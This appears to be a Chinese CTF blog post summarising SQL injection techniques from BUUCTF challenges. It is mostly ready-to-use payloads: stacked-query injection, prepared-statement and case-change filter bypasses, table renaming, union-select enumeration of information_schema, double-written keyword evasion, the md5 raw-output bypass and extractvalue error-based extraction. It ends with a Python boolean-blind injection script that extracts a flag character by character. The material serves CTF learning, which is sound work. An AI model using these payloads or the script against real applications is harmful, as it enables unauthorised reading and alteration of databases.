第1-63题总结:SQL注入篇

第一种:利用语句'or 1=1'#测试

第二种:堆叠注入,eg:第三题

  1. 利用语句1';show tables;或1;show tables;查看是否存在堆叠注入漏洞
  2. 利用语句1';desc 表名获取表中字段名
  3. 利用语句1';select 字段名/* from 表名获取flag
  4. 若select被拦截可以尝试预编译绕过,语句1';set @sql = CONCAT('se','lect * from '表名';');prepare stmt from @sql;EXECUTE stmt;#
  5. 若遇到strstr函数拦截,可以采用大写绕过,语句:1';Set @sql = CONCAT('se','lect * from '表名';');Prepare stmt from @sql;EXECUTE stmt;#
  6. 可以尝试使用语句:1;set sql_mode=PIPES_AS_CONCAT;select 1*,1
  7. 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#查看FlagHere的第一数据

第三种:修改表名,eg:第三题

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table 源表名 rename to 源表名1;
alter table 目标表名 rename to 源表名;
alter table 源表名 change flag id varchar(50);
#

第四种:使用union select

  1. 利用order by 4#或者union select 1,2,3,4#确定回显点
  2. union select 1,2,database()#用于确定当前数据库名称
  3. union select 1,2,group_concat(schema_name) from information_schema.schemata#用于查看所有数据库名称
  4. union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#用于都确定表名
  5. union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’#用于确定字段名
  6. union select 1,2,group_concat(id,username,password) from (databasename.tablename)#输出数据

第五种:利用双写绕过union select检测

  1. union select改写为ununionion seselectlect
  2. from改为frfromom
  3. where改为whwhereere
  4. information_schema改为infoorrmation_schema
  5. 或者利用/**/union/**/select

第六种:md5值绕过,eg:第二十二题

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c(false)
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c(true)
string: 'or'6]!r,b

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

第七种:利用extractvalue

1'^extractvalue(1,concat(1,(select(right(group_concat(schema_name),32))from(information_schema.schemata))))#

第八种:盲注,eg:五十八题

  1. 利用1'^测试是否存在盲注
  2. 输入0^(ascii(substr((select(flag)from(flag)),0,1))>1)是永真式获得结果为hello,而输入假式(0^(ascii(substr((select(flag)from(flag)),0,1))>200))得到error结果
import requests

if __name__ == '__main__':
    url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"
    payload = {"id": ""}
    result = ""
    for i in range(1, 100):
        l = 32
        r = 126
        mid = (l + r) // 2
        while (l < r):
            payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)
            html = requests.post(url, data=payload)
            if "Hello" in html.text:
                l = mid + 1
            else:
                r = mid
            mid = (l + r) // 2
        if (chr(mid) == " "):
            break
        result = result + chr(mid)
        print(result)
    print("flag:", result)
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值